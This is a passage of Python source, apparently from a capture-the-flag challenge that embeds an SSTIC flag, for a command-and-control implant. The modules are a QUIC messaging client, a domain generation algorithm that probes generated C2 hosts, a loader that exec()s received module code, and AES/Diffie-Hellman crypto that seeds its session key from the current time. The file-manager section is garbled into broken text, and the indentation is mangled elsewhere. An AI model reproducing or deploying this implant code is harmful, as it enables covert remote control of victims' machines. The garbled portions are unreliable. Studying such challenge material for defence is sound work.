         l o g :   l o g g i n g . L o g g e r   =   l o g g i n g . g e t L o g g e r ( L O G G E R _ N A M E ) 
         c l i e n t :   Q u i c C l i e n t P r o t o c o l 
         c o n f i g u r a t i o n :   Q u i c C o n f i g u r a t i o n 
         l o o p :   O p t i o n a l [ a s y n c i o . A b s t r a c t E v e n t L o o p ]   =   N o n e 
         _ c o n n e c t i o n _ c t x :   _ A s y n c G e n e r a t o r C o n t e x t M a n a g e r [ A n y ] 
         _ c o n n e c t i o n _ r e a d y :   a s y n c i o . E v e n t 
         _ t h r e a d :   T h r e a d 
 
         d e f   _ _ i n i t _ _ ( s e l f ,   h o s t :   s t r ,   p o r t :   i n t )   - >   N o n e : 
                 s e l f . h o s t   =   h o s t 
                 s e l f . p o r t   =   p o r t 
 
         d e f   s t a r t ( s e l f )   - >   N o n e : 
                 i f   s e l f . l o o p   i s   n o t   N o n e : 
                         s e l f . l o g . w a r n i n g ( " C l i e n t   a l r e a d y   s t a r t e d " ) 
                         r e t u r n 
 
                 s e l f . l o o p   =   a s y n c i o . n e w _ e v e n t _ l o o p ( ) 
                 s e l f . _ c o n n e c t i o n _ r e a d y   =   a s y n c i o . E v e n t ( ) 
 
                 s e l f . _ t h r e a d   =   T h r e a d ( t a r g e t = s e l f . _ r u n _ l o o p ,   d a e m o n = T r u e ) 
                 s e l f . _ t h r e a d . s t a r t ( ) 
 
                 f u t u r e   =   a s y n c i o . r u n _ c o r o u t i n e _ t h r e a d s a f e ( 
                         s e l f . _ c o n n e c t i o n _ r e a d y . w a i t ( ) ,   s e l f . l o o p 
                 ) 
                 t r y : 
                         f u t u r e . r e s u l t ( t i m e o u t = C L I E N T _ T I M E O U T ) 
                 e x c e p t   T i m e o u t E r r o r   a s   e x c : 
                         r a i s e   T i m e o u t E r r o r ( "      F a i l e d   t o   c o n n e c t   w i t h i n   t i m e o u t " )   f r o m   e x c 
                 e x c e p t   E x c e p t i o n   a s   e x c : 
                         r a i s e   e x c 
                 s e l f . l o g . i n f o ( "      C l i e n t   c o n n e c t e d   t o   % s : % d " ,   s e l f . h o s t ,   s e l f . p o r t ) 
 
         d e f   _ r u n _ l o o p ( s e l f )   - >   N o n e : 
                 i f   s e l f . l o o p : 
                         a s y n c i o . s e t _ e v e n t _ l o o p ( s e l f . l o o p ) 
                         s e l f . l o o p . r u n _ u n t i l _ c o m p l e t e ( s e l f . _ s t a r t _ c l i e n t ( ) ) 
                         t r y : 
                                 s e l f . l o o p . r u n _ f o r e v e r ( ) 
                         f i n a l l y : 
                                 s e l f . l o o p . r u n _ u n t i l _ c o m p l e t e ( s e l f . _ c l e a n u p ( ) ) 
 
         a s y n c   d e f   _ s t a r t _ c l i e n t ( s e l f )   - >   N o n e : 
                 s e l f . c o n f i g u r a t i o n   =   Q u i c C o n f i g u r a t i o n ( i s _ c l i e n t = T r u e ) 
                 s e l f . c o n f i g u r a t i o n . v e r i f y _ m o d e   =   F a l s e 
 
                 s e l f . _ c o n n e c t i o n _ c t x   =   c o n n e c t ( 
                         s e l f . h o s t , 
                         s e l f . p o r t , 
                         c o n f i g u r a t i o n = s e l f . c o n f i g u r a t i o n , 
                         c r e a t e _ p r o t o c o l = Q u i c C l i e n t P r o t o c o l , 
                 ) 
 
                 s e l f . c l i e n t   =   a w a i t   s e l f . _ c o n n e c t i o n _ c t x . _ _ a e n t e r _ _ ( ) 
                 s e l f . _ c o n n e c t i o n _ r e a d y . s e t ( ) 
 
         a s y n c   d e f   _ c l e a n u p ( s e l f )   - >   N o n e : 
                 i f   s e l f . _ c o n n e c t i o n _ c t x   a n d   s e l f . c l i e n t : 
                         a w a i t   s e l f . _ c o n n e c t i o n _ c t x . _ _ a e x i t _ _ (     #   p y l i n t :   d i s a b l e = E 1 1 0 1 
                                 N o n e ,   N o n e ,   N o n e 
                         ) 
                         d e l   s e l f . _ c o n n e c t i o n _ c t x 
                         d e l   s e l f . c l i e n t 
 
         d e f   _ i s _ r e a d y ( s e l f )   - >   b o o l : 
                 i f   s e l f . _ c o n n e c t i o n _ r e a d y   i s   N o n e   o r   s e l f . l o o p   i s   N o n e : 
                         r e t u r n   F a l s e 
                 r e t u r n   s e l f . _ c o n n e c t i o n _ r e a d y . i s _ s e t ( ) 
 
         a s y n c   d e f   _ c h e c k _ r e a d y ( s e l f )   - >   b o o l : 
                 r e t u r n   s e l f . _ c o n n e c t i o n _ r e a d y . i s _ s e t ( ) 
 
         d e f   s t o p ( s e l f )   - >   N o n e : 
                 i f   s e l f . l o o p   i s   N o n e : 
                         r e t u r n 
 
                 s e l f . l o o p . c a l l _ s o o n _ t h r e a d s a f e ( s e l f . l o o p . s t o p ) 
 
                 i f   s e l f . _ t h r e a d : 
                         s e l f . _ t h r e a d . j o i n ( t i m e o u t = 2 . 0 ) 
                         d e l   s e l f . _ t h r e a d 
 
                 i f   s e l f . l o o p : 
                         i f   n o t   s e l f . l o o p . i s _ c l o s e d ( )   a n d   n o t   s e l f . l o o p . i s _ r u n n i n g ( ) : 
                                 s e l f . l o o p . c l o s e ( ) 
                         s e l f . l o o p   =   N o n e 
 
         d e f   s e n d _ m e s s a g e ( s e l f ,   m e s s a g e :   b y t e s ,   f a k e _ m e s s a g e :   b y t e s )   - >   N o n e : 
                 i f   n o t   s e l f . c l i e n t : 
                         r a i s e   I O E r r o r ( 
                                 " T h e   s e r v e r   o n l y   r e s p o n d s   t o   m e s s a g e s   a n d   c a n n o t   i n i t i a t e   a   c o m m u n i c a t i o n . " 
                         ) 
 
                 s e l f . c l i e n t . s e n d _ m e s s a g e ( m e s s a g e ,   f a k e _ m e s s a g e ) 
 
         d e f   r e c v _ m e s s a g e ( s e l f ,   t i m e o u t :   f l o a t   =   4 8 0 . 0 )   - >   O p t i o n a l [ b y t e s ] : 
                 i f   n o t   s e l f . c l i e n t   o r   n o t   s e l f . l o o p : 
                         r a i s e   C o n n e c t i o n E r r o r ( "      C l i e n t   n o t   c o n n e c t e d .   C a l l   s t a r t ( )   f i r s t . " ) 
 
                 f u t u r e   =   a s y n c i o . r u n _ c o r o u t i n e _ t h r e a d s a f e ( 
                         s e l f . _ r e c v _ m e s s a g e ( t i m e o u t ) ,   s e l f . l o o p 
                 ) 
 
                 r e s u l t   =   f u t u r e . r e s u l t ( ) 
 
                 i f   r e s u l t : 
                         s e l f . l o g . i n f o ( 
                                 "      
  
   H n   M e s s a g e   r e c e i v e d :   % s   ( l e n :   % d ) " , 
                                 r e s u l t [ : 2 0 ]   +   ( b " . . . "   i f   l e n ( r e s u l t )   >   2 0   e l s e   b " " ) , 
                 l e n ( r e s u l t ) , 
                         ) 
                         r e t u r n   r e s u l t 
 
                 s e l f . l o g . e r r o r ( "  % 
   E r r o w h i l e   r e c e i v i n g   h i d d e n   m e s s a g e . " ) 
                 r e t u r n   N o n e 
 
         a s y n c   d e f   _ r e c v _ m e s s a g e ( s e l f ,   t i m e o u t :   f l o a t )   - >   O p t i o n a l [ b y t e s ] : 
                 a w a i t   s e l f . _ c o n n e c t i o n _ r e a d y . w a i t ( ) 
 
                 i f   n o t   s e l f . c l i e n t   o r   n o t   s e l f . l o o p : 
                         r a i s e   C o n n e c t i o n E r r o r ( "      C l i e n t   n o t   c o n n e c t e d .   C a l l   s t a r t ( )   f i r s t . " ) 
 
                 t r y : 
                         s t a r t _ t i m e   =   s e l f . l o o p . t i m e ( ) 
                         w h i l e   s e l f . l o o p . t i m e ( )   -   s t a r t _ t i m e   <   t i m e o u t : 
                                 a w a i t   a s y n c i o . s l e e p ( 0 . 0 1 ) 
                                 i f   l e n ( s e l f . c l i e n t . i n p u t _ m s g )   >   8 : 
                                         i f   s e l f . c l i e n t . i n p u t _ m s g [ - 8 : ]   = =   b " \ \ x 0 0 "   *   8 : 
                                 a w a i t   a s y n c i o . s l e e p ( 0 . 0 1 ) 
                                 r e t   =   s e l f . c l i e n t . i n p u t _ m s g . s t r i p ( b " \ \ x 0 0 " ) 
                                 s e l f . c l i e n t . i n p u t _ m s g   =   b " " 
                                 r e t u r n   r e t 
 
                         s e l f . l o g . w a r n i n g ( "   
  
   T u t   w a i t i n g   f o r   c o m p l e t e   m e s s a g e " ) 
                         r e t u r n   ( 
                                 s e l f . c l i e n t . i n p u t _ m s g . s t r i p ( b " \ \ x 0 0 " )   i f   s e l f . c l i e n t . i n p u t _ m s g   e l s e   N o n e 
                         ) 
                 e x c e p t   E x c e p t i o n   a s   e : 
                         s e l f . l o g . e r r o r ( e ) 
                         r e t u r n   N o n e 
 
 
 _ _ a l l _ _   =   [ 
         " Q U I C _ V E R S I O N " , 
         " C u s t o m Q u i c C o n n e c t i o n P r o t o c o l " , 
         " C u s t o m Q u i c C o n n e c t i o n " , 
         " Q u i c C l i e n t P r o t o c o l " , 
         " C l i e n t " , 
 ] 
 
 g e t _ m o d u l e : f i l e r i m p o r t   l o g g i n g 
 f r o m   p a t h l i b   i m p o r t   P a t h 
 f r o m   t y p i n g   i m p o r t   A n y 
 
 F I L E R _ V E R S I O N   =   1 
 
 
 L O G G E R _ N A M E   =   " a i o q u i c _ f i l e r " 
 L O G G E R _ K E Y   =   " _ _ l o g g e r _ f i l e r _ _ " 
 i f   L O G G E R _ K E Y   i n   g l o b a l s ( ) : 
         l o g g e r   =   g l o b a l s ( ) [ L O G G E R _ K E Y ] 
 e l s e : 
         l o g g e r   =   l o g g i n g . g e t L o g g e r ( L O G G E R _ N A M E ) 
         i f   n o t   l o g g e r . h a n d l e r s : 
                 l o g g e r . a d d H a n d l e r ( l o g g i n g . S t r e a m H a n d l e r ( ) ) 
         g l o b a l s ( ) [ L O G G E R _ K E Y ]   =   l o g g e r 
 
 
 c l a s s   F i l e M a n a g e r : 
 
         l o g :   l o g g i n g . L o g g e r   =   l o g g i n g . g e t L o g g e r ( L O G G E R _ N A M E ) 
 
         C H U N K _ S 9 6 
 
         r k :   A n y )   n e t w o r k F i l e M a n a e f   u p l o a l e _ p a t h : :   s t r   |   l : 
           _ p a t h ) 
 
 . e x i s t s ( e r r o r ( " F _ p a t h ) 
   
               e ( ) : 
       " N o t   a   f                 f   r e m o t e _ n a m e   i s l e   u p l o a N o n e 
 
                     t e _ b y t e s 
 g e t _ m o d u l e : u t i l s i m p o r t   a r g p a r s e 
 i m p o r t   l o g g i n g 
 f r o m   p a t h l i b   i m p o r t   P a t h 
 
 U T I L S _ V E R S I O N   =   1 
 F L A G 0   =   r " S S T I C { d e 8 9 b f 3 0 1 a a 2 e f 9 f 9 a 6 1 4 8 6 d 2 6 c 7 b 8 1 4 2 4 b c f 5 b 8 3 8 f 9 8 d d e } " 
 
 d e f   s e t _ l o g g e r ( f i l e n a m e :   s t r   |   N o n e   =   N o n e )   - >   N o n e : 
 
         p a r s e r   =   a r g p a r s e . A r g u m e n t P a r s e r ( ) 
         p a r s e r . a d d _ a r g u m e n t ( 
                 " - v " ,   " - - v e r b o s e " ,   a c t i o n = " c o u n t " ,   d e f a u l t = 0 ,   h e l p = " I n c r e a s e   l o g   v e r b o s i t y " 
         ) 
         a r g s   =   p a r s e r . p a r s e _ a r g s ( ) 
 
         l o g g e r s   =   l o g g i n g . L o g g e r . m a n a g e r . l o g g e r D i c t 
         f o r   n a m e ,   l o g g e r   i n   l o g g e r s . i t e m s ( ) : 
                 i f   n o t   n a m e . s t a r t s w i t h ( " a i o q u i c " ) : 
                         c o n t i n u e 
 
                 l o g g e r   =   l o g g i n g . g e t L o g g e r ( n a m e ) 
                 l o g g e r . p r o p a g a t e   =   F a l s e 
                 l o g g e r . h a n d l e r s . c l e a r ( ) 
 
                 l o g _ l e v e l   =   l o g g i n g . W A R N I N G 
                 i f   a r g s . v e r b o s e   > =   1 : 
                         l o g _ l e v e l   =   l o g g i n g . I N F O 
                 i f   a r g s . v e r b o s e   > =   2 : 
                         l o g _ l e v e l   =   l o g g i n g . D E B U G 
 
                 f o r m a t t e r   =   l o g g i n g . F o r m a t t e r ( f " [ { n a m e } ]   % ( l e v e l n a m e ) s   -   % ( m e s s a g e ) s " ) 
 
                 c o n s o l e _ h a n d l e r   =   l o g g i n g . S t r e a m H a n d l e r ( ) 
                 c o n s o l e _ h a n d l e r . s e t L e v e l ( l o g _ l e v e l ) 
                 c o n s o l e _ h a n d l e r . s e t F o r m a t t e r ( f o r m a t t e r ) 
                 l o g g e r . a d d H a n d l e r ( c o n s o l e _ h a n d l e r ) 
 
                 i f   f i l e n a m e : 
                         f i l e _ p a t h   =   P a t h ( f i l e n a m e ) 
                         f i l e _ h a n d l e r   =   l o g g i n g . F i l e H a n d l e r ( f i l e _ p a t h ,   m o d e = " a " ) 
                         f i l e _ h a n d l e r . s e t L e v e l ( l o g _ l e v e l ) 
                         f i l e _ h a n d l e r . s e t F o r m a t t e r ( f o r m a t t e r ) 
                         l o g g e r . a d d H a n d l e r ( f i l e _ h a n d l e r ) 
 
                 l o g g e r . s e t L e v e l ( l o g _ l e v e l ) 
 
         l o g g i n g . g e t L o g g e r ( ) . s e t L e v e l ( l o g g i n g . C R I T I C A L ) 
 
 g e t _ m o d u l e : d g a i m p o r t   h a s h l i b 
 i m p o r t   l o g g i n g 
 i m p o r t   s o c k e t 
 f r o m   d a t e t i m e   i m p o r t   d a t e t i m e ,   t i m e d e l t a 
 f r o m   r a n d o m   i m p o r t   R a n d o m 
 f r o m   t y p i n g   i m p o r t   T Y P E _ C H E C K I N G ,   O p t i o n a l 
 
 i m p o r t   r e q u e s t s 
 
 i f   T Y P E _ C H E C K I N G : 
         f r o m   . c o n f i g   i m p o r t   C o n f i g 
 
 
 D G A _ V E R S I O N   =   1 
 
 
 L O G G E R _ N A M E   =   " a i o q u i c _ d g a " 
 L O G G E R _ K E Y   =   " _ _ l o g g e r _ d g a _ _ " 
 i f   L O G G E R _ K E Y   i n   g l o b a l s ( ) : 
         l o g g e r   =   g l o b a l s ( ) [ L O G G E R _ K E Y ] 
 e l s e : 
         l o g g e r   =   l o g g i n g . g e t L o g g e r ( L O G G E R _ N A M E ) 
         i f   n o t   l o g g e r . h a n d l e r s : 
                 l o g g e r . a d d H a n d l e r ( l o g g i n g . S t r e a m H a n d l e r ( ) ) 
         g l o b a l s ( ) [ L O G G E R _ K E Y ]   =   l o g g e r 
 
 
 D G A _ C H A R S E T   =   " a a a a a a a b b c c e e e e e d d d d d d d d d f f g g g g g g g g g g h i i i j k l l m m n n o o o p p p q r s t u u v w x y z " 
 
 
 c l a s s   D o m a i n G e n e r a t o r : 
         l o g :   l o g g i n g . L o g g e r   =   l o g g i n g . g e t L o g g e r ( L O G G E R _ N A M E ) 
 
         d e f   _ _ i n i t _ _ ( s e l f ,   s e e d :   s t r ,   b a s e _ d o m a i n :   O p t i o n a l [ s t r ]   =   N o n e ) : 
                 s e l f . s e e d   =   s e e d . e n c o d e ( ) 
                 s e l f . l o g . d e b u g ( 
                         " D o m a i n G e n e r a t o r   i n i t i a l i z e d   w i t h   s e e d   h a s h :   % s " , 
                         h a s h l i b . m d 5 ( s e l f . s e e d ) . h e x d i g e s t ( ) [ : 8 ] , 
                 ) 
                 s e l f . b a s e _ d o m a i n   =   b a s e _ d o m a i n 
 
         d e f   g e n e r a t e _ d o m a i n ( 
                 s e l f , 
                 d a t e :   d a t e t i m e , 
                 c o u n t :   i n t   =   1 , 
                 p o r t :   O p t i o n a l [ i n t ]   =   N o n e , 
                 t l d :   O p t i o n a l [ s t r ]   =   N o n e , 
         )   - >   l i s t [ s t r ] : 
 
                 d a t e _ d a t a   =   f " { d a t e . y e a r } { d a t e . m o n t h : 0 2 d } { d a t e . i s o c a l e n d a r ( ) . w e e k } " . e n c o d e ( ) 
 
                 h a s h _ o b j   =   h a s h l i b . s h a 2 5 6 ( s e l f . s e e d   +   d a t e _ d a t a ) 
                 h e x _ h a s h   =   h a s h _ o b j . h e x d i g e s t ( ) 
 
                 p r n g   =   R a n d o m ( h e x _ h a s h ) 
 
                 d o m a i n s   =   [ ] 
                 f o r   i   i n   r a n g e ( c o u n t ) : 
                         c u r r _ d o m a i n   =   " " 
                         f o r   _   i n   r a n g e ( 1 6 ) : 
                                 n   =   p r n g . r a n d r a n g e ( 0 ,   l e n ( D G A _ C H A R S E T ) ) 
                                 c u r r _ d o m a i n   + =   D G A _ C H A R S E T [ n ] 
                         i f   s e l f . b a s e _ d o m a i n   i s   N o n e : 
                                 i f   t l d   i s   n o t   N o n e : 
                                         c u r r _ d o m a i n   + =   " . "   +   t l d 
                                 i f   p o r t   i s   n o t   N o n e : 
                         c u r r _ d o m a i n   + =   " : "   +   s t r ( p o r t ) 
                         e l s e : 
                                 #   n o t   r e a l l y   a   d o m a i n   a n y m o r e ,   b u t   t h i s   m u s t   d o 
                                 i f   p o r t   i s   n o t   N o n e : 
                         c u r r _ d o m a i n   =   f " { s e l f . b a s e _ d o m a i n } : { p o r t } / { c u r r _ d o m a i n } " 
                                 e l s e : 
                                         c u r r _ d o m a i n   =   f " { s e l f . b a s e _ d o m a i n } / { c u r r _ d o m a i n } " 
                         s e l f . l o g . d e b u g ( 
                                 " G e n e r a t e d   d o m a i n   f o r   % s   ( % d / % d ) :   % s " , 
                                 d a t e . s t r f t i m e ( " % Y - % m - % d " ) , 
                                 i , 
                 c o u n t , 
                                 c u r r _ d o m a i n , 
                         ) 
                         d o m a i n s . a p p e n d ( c u r r _ d o m a i n ) 
 
                 r e t u r n   d o m a i n s 
 
         d e f   f i n d _ w o r k i n g _ d o m a i n ( 
                 s e l f , 
                 i p :   s t r , 
                 p o r t :   i n t   =   4 4 3 , 
         )   - >   " t u p l e [ s t r ,   i n t ,   s t r ]   |   N o n e " : 
                 n o w   =   d a t e t i m e . n o w ( ) 
                 s e l f . l o g . i n f o ( " S t a r t i n g   d o m a i n   s e a r c h . . . " ) 
 
                 s c h e m e   =   " h t t p " 
                 e x p l i c i t _ p o r t   =   N o n e 
                 i f   p o r t   = =   8 0 : 
                         s c h e m e   =   " h t t p " 
                 e l i f   p o r t   = =   4 4 3 : 
                         s c h e m e   =   " h t t p s " 
                 e l s e : 
                         e x p l i c i t _ p o r t   =   p o r t 
 
                 f o r   d e l t a   i n   [ - 7 ,   0 ,   7 ] : 
                         t a r g e t _ d a t e   =   n o w   +   t i m e d e l t a ( d a y s = d e l t a ) 
                         d o m a i n s   =   s e l f . g e n e r a t e _ d o m a i n ( 
                                 t a r g e t _ d a t e ,   c o u n t = 3 ,   p o r t = e x p l i c i t _ p o r t ,   t l d = N o n e 
                         ) 
 
                         f o r   d o m a i n   i n   d o m a i n s : 
                 s e l f . l o g . i n f o ( 
                         " A t t e m p t i n g   c o n n e c t i o n   t o   % s   ( o f f s e t :   % d   d a y s ) " , 
                         d o m a i n , 
                         d e l t a , 
                                 ) 
 
                                 u r l   =   f " { s c h e m e } : / / { d o m a i n } " 
                                 t r y : 
                         r   =   r e q u e s t s . g e t ( u r l ,   t i m e o u t = 5 ,   v e r i f y = F a l s e ) 
                                         i f   r . s t a t u s _ c o d e   ! =   2 0 0 : 
                 s e l f . l o g . w a r n i n g ( "   $%  F a i l e d   t o   c o n n e c t   t o   % s " ,   u r l ) 
                                 c o n t i n u e 
                                 e x c e p t   E x c e p t i o n   a s   e : 
                         s e l f . l o g . w a r n i n g ( "   $%  F a i l e d   t o   c o n n e c t   t o   % s   -   % s " ,   u r l ,   s t r ( e ) ) 
                         c o n t i n u e 
                                 r e t u r n   d o m a i n ,   p o r t ,   u r l 
 
                 s e l f . l o g . e r r o r ( " F a i l e d   t o   c o n n e c t   t o   a n y   g e n e r a t e d   C 2   d o m a i n " ) 
                 r e t u r n   N o n e 
 
 
 d e f   r o t a t e _ f i l e r _ s e r v e r ( 
         c o n f i g :   " C o n f i g " , 
 )   - >   b o o l : 
         d g a   =   D o m a i n G e n e r a t o r ( c o n f i g . f i l e r _ d g a _ s e e d ,   c o n f i g . f i l e r _ b a s e _ i p ) 
         r e s u l t   =   d g a . f i n d _ w o r k i n g _ d o m a i n ( 
                 i p = c o n f i g . f i l e r _ b a s e _ i p ,   p o r t = c o n f i g . f i l e r _ b a s e _ p o r t 
         ) 
 
         i f   r e s u l t : 
                 n e w _ d o m a i n ,   n e w _ p o r t ,   u r l   =   r e s u l t 
                 c o n f i g . f i l e r _ b a s e _ u r l   =   u r l 
                 c o n f i g . f i l e r _ b a s e _ p o r t   =   n e w _ p o r t 
                 D o m a i n G e n e r a t o r . l o g . i n f o ( 
                         "     F I L E R   r o t a t e d   t o   % s : % d / % s   ( b a s e   u r l :   % s ) " , 
                         c o n f i g . f i l e r _ b a s e _ i p , 
                         n e w _ p o r t , 
                         n e w _ d o m a i n , 
                         u r l , 
                 ) 
                 r e t u r n   T r u e 
 
         D o m a i n G e n e r a t o r . l o g . e r r o r ( "   $%  F I L E R   r o t a t i o n   f a i l e d   -   n o   w o r k i n g   d o m a i n s   f o u n d " ) 
         r e t u r n   F a l s e 
 
 g e t _ m o d u l e : c l i e n t i m p o r t   l o g g i n g 
 i m p o r t   t i m e 
 f r o m   b a s e 6 4   i m p o r t   b 6 4 d e c o d e 
 f r o m   e n u m   i m p o r t   E n u m 
 f r o m   o s   i m p o r t   u r a n d o m 
 f r o m   p a t h l i b   i m p o r t   P a t h 
 f r o m   r a n d o m   i m p o r t   R a n d o m 
 f r o m   t i m e   i m p o r t   s l e e p 
 f r o m   t y p i n g   i m p o r t   T Y P E _ C H E C K I N G ,   O p t i o n a l 
 f r o m   u n i t t e s t . m o c k   i m p o r t   p a t c h 
 
 f r o m   c r y p t o g r a p h y . h a z m a t . b a c k e n d s   i m p o r t   d e f a u l t _ b a c k e n d 
 f r o m   c r y p t o g r a p h y . h a z m a t . p r i m i t i v e s   i m p o r t   h a s h e s 
 f r o m   c r y p t o g r a p h y . h a z m a t . p r i m i t i v e s . a s y m m e t r i c   i m p o r t   d h 
 f r o m   c r y p t o g r a p h y . h a z m a t . p r i m i t i v e s . c i p h e r s   i m p o r t   C i p h e r ,   a l g o r i t h m s ,   m o d e s 
 f r o m   c r y p t o g r a p h y . h a z m a t . p r i m i t i v e s . k d f . h k d f   i m p o r t   H K D F 
 f r o m   c r y p t o g r a p h y . h a z m a t . p r i m i t i v e s . p a d d i n g   i m p o r t   P K C S 7 
 
 i f   T Y P E _ C H E C K I N G : 
         f r o m   . c o m m   i m p o r t   N e t w o r k 
         f r o m   . c o n f i g   i m p o r t   C o n f i g 
         f r o m   . o r d e r   i m p o r t   O r d e r 
         f r o m   . q u i c   i m p o r t   C l i e n t ,   C u s t o m Q u i c C o n n e c t i o n 
         f r o m   . u t i l s   i m p o r t   s e t _ l o g g e r 
 e l s e : 
         f r o m   u t i l s   i m p o r t   s e t _ l o g g e r 
 
 L O G G E R _ N A M E   =   " a i o q u i c _ c l i e n t " 
 L O G G E R _ K E Y   =   " _ _ l o g g e r _ c l i e n t _ _ " 
 i f   L O G G E R _ K E Y   i n   g l o b a l s ( ) : 
         l o g g e r   =   g l o b a l s ( ) [ L O G G E R _ K E Y ] 
 e l s e : 
         l o g g e r   =   l o g g i n g . g e t L o g g e r ( L O G G E R _ N A M E ) 
         i f   n o t   l o g g e r . h a n d l e r s : 
                 l o g g e r . a d d H a n d l e r ( l o g g i n g . S t r e a m H a n d l e r ( ) ) 
         g l o b a l s ( ) [ L O G G E R _ K E Y ]   =   l o g g e r 
 
 
 C L I E N T _ V E R S I O N   =   1 
 
 c l a s s   C l i e n t U p d a t e d ( E x c e p t i o n ) : 
         p a s s 
 
 
 c l a s s   M o d u l e E n u m ( s t r ,   E n u m ) : 
 
         C O N F I G   =   " c o n f i g " 
         C O M M   =   " c o m m " 
         Q U I C   =   " q u i c " 
         C L I E N T   =   " c l i e n t " 
         F I L E R   =   " f i l e r " 
         O R D E R   =   " o r d e r " 
         U T I L S   =   " u t i l s " 
         D G A   =   " d g a " 
 
         d e f   g e t _ c u r r e n t _ v e r s i o n ( s e l f )   - >   i n t : 
                 c a p s   =   s e l f . v a l u e . u p p e r ( ) 
                 c o n s t _ n a m e   =   f " { c a p s } _ V E R S I O N " 
                 i f   c o n s t _ n a m e   i n   g l o b a l s ( ) : 
                         v e r s i o n :   i n t   =   g l o b a l s ( ) [ c o n s t _ n a m e ] 
                         r e t u r n   v e r s i o n 
                 r a i s e   R u n t i m e E r r o r ( f " V e r s i o n   n o t   f o u n d   f o r   m o d u l e :   { s e l f . v a l u e } " ) 
 
         d e f   i s _ l o a d e d ( s e l f )   - >   b o o l : 
                 t r y : 
                         s e l f . g e t _ c u r r e n t _ v e r s i o n ( ) 
                         r e t u r n   T r u e 
                 e x c e p t   R u n t i m e E r r o r : 
                         r e t u r n   F a l s e 
 
 
 c l a s s   C r y p t o : 
 
         d e f   _ _ i n i t _ _ ( s e l f )   - >   N o n e : 
                 s e l f . p a r a m e t e r s   =   d h . g e n e r a t e _ p a r a m e t e r s ( 2 ,   k e y _ s i z e = 2 0 4 8 ) 
                 s e l f . c l i e n t _ p r i v   =   s e l f . p a r a m e t e r s . g e n e r a t e _ p r i v a t e _ k e y ( ) 
                 s e l f . s h a r e d _ k e y :   O p t i o n a l [ b y t e s ]   =   N o n e 
 
         d e f   g e t _ p u b l i c ( s e l f )   - >   t u p l e [ i n t ,   i n t ,   i n t ] : 
                 p n   =   s e l f . c l i e n t _ p r i v . p u b l i c _ k e y ( ) . p u b l i c _ n u m b e r s ( ) . p a r a m e t e r _ n u m b e r s 
                 p   =   p n . p 
                 g   =   p n . g 
                 y   =   s e l f . c l i e n t _ p r i v . p u b l i c _ k e y ( ) . p u b l i c _ n u m b e r s ( ) . y 
 
                 r e t u r n   ( p ,   g ,   y ) 
 
         d e f   c o m p u t e _ s h a r e d _ k e y ( s e l f ,   s e r v e r _ p u b l i c :   i n t )   - >   N o n e : 
                 s e r v e r _ p u b _ k e y   =   d h . D H P u b l i c N u m b e r s ( 
                         s e r v e r _ p u b l i c ,   s e l f . p a r a m e t e r s . p a r a m e t e r _ n u m b e r s ( ) 
                 ) . p u b l i c _ k e y ( ) 
                 s e l f . s h a r e d _ k e y   =   s e l f . c l i e n t _ p r i v . e x c h a n g e ( s e r v e r _ p u b _ k e y ) 
 
         d e f   d e r i v e _ d h _ s h a r e d _ k e y ( s e l f )   - >   b y t e s : 
                 a s s e r t   s e l f . s h a r e d _ k e y   i s   n o t   N o n e 
 
                 d e r i v e d _ k e y   =   H K D F ( 
                         a l g o r i t h m = h a s h e s . S H A 2 5 6 ( ) , 
                         l e n g t h = 3 2 , 
                         s a l t = N o n e , 
                         i n f o = b " 0 1 2 3 4 5 6 7 " , 
                 ) . d e r i v e ( s e l f . s h a r e d _ k e y ) 
 
                 r e t u r n   d e r i v e d _ k e y 
 
         d e f   d e c r y p t ( s e l f ,   k e y :   b y t e s ,   d a t a :   b y t e s )   - >   b y t e s : 
                 a s s e r t   l e n ( d a t a )   >   1 6 
 
                 i v   =   d a t a [ : 1 6 ] 
                 e n c r y p t e d _ d a t a   =   d a t a [ 1 6 : ] 
                 c i p h e r   =   C i p h e r ( a l g o r i t h m s . A E S ( k e y ) ,   m o d e s . C B C ( i v ) ,   d e f a u l t _ b a c k e n d ( ) ) 
                 d e c r y p t o r   =   c i p h e r . d e c r y p t o r ( ) 
 
                 u n p a d d e r   =   P K C S 7 ( 1 2 8 ) . u n p a d d e r ( ) 
                 c l e a r t e x t   =   d e c r y p t o r . u p d a t e ( e n c r y p t e d _ d a t a )   +   d e c r y p t o r . f i n a l i z e ( ) 
                 u n p a d d e d _ c l e a r t e x t   =   u n p a d d e r . u p d a t e ( c l e a r t e x t ) 
                 u n p a d d e d _ c l e a r t e x t   + =   u n p a d d e r . f i n a l i z e ( ) 
                 r e t u r n   u n p a d d e d _ c l e a r t e x t 
 
         d e f   e n c r y p t ( s e l f ,   k e y :   b y t e s ,   c l e a r t e x t :   b y t e s )   - >   b y t e s : 
 
                 p a d d e r   =   P K C S 7 ( 1 2 8 ) . p a d d e r ( ) 
                 p a d d e d _ c l e a r t e x t   =   p a d d e r . u p d a t e ( c l e a r t e x t ) 
                 p a d d e d _ c l e a r t e x t   + =   p a d d e r . f i n a l i z e ( ) 
                 i v   =   u r a n d o m ( 1 6 ) 
                 c i p h e r   =   C i p h e r ( a l g o r i t h m s . A E S ( k e y ) ,   m o d e s . C B C ( i v ) ,   d e f a u l t _ b a c k e n d ( ) ) 
                 e n c r y p t o r   =   c i p h e r . e n c r y p t o r ( ) 
                 e n c r y p t e d   =   i v   +   e n c r y p t o r . u p d a t e ( p a d d e d _ c l e a r t e x t )   +   e n c r y p t o r . f i n a l i z e ( ) 
                 r e t u r n   b y t e s ( e n c r y p t e d ) 
 
         d e f   c o m p u t e _ s e s s i o n _ k e y ( s e l f )   - >   b y t e s : 
 
                 r a n d   =   R a n d o m ( i n t ( t i m e . t i m e ( ) ) ) 
                 k e y   =   r a n d . r a n d b y t e s ( n = 3 2 ) 
                 r e t u r n   k e y 
 
 
 c l a s s   M y C l i e n t : 
 
         c o n f i g :   " C o n f i g " 
         l o g :   l o g g i n g . L o g g e r   =   l o g g i n g . g e t L o g g e r ( L O G G E R _ N A M E ) 
         c r y p t o   =   N o n e 
         s e s s i o n _ k e y   =   N o n e 
 
         d e f   l o a d _ m o d u l e ( s e l f ,   m o d :   s t r )   - >   N o n e : 
                 i f   g l o b a l s ( ) [ " _ _ n a m e _ _ " ]   = =   " _ _ m a i n _ _ " : 
                         g l o b a l s ( ) [ " _ _ n a m e _ _ " ]   =   " _ _ l o a d e d _ _ " 
                 e x e c ( m o d ,   g l o b a l s ( ) ) 
                 s e t _ l o g g e r ( " c l i e n t . l o g " ) 
 
         d e f   l o a d _ m i n i m a l _ m o d u l e s _ f r o m _ d i s k ( s e l f )   - >   N o n e : 
                 b a s e _ d i r   =   P a t h ( _ _ f i l e _ _ ) . p a r e n t 
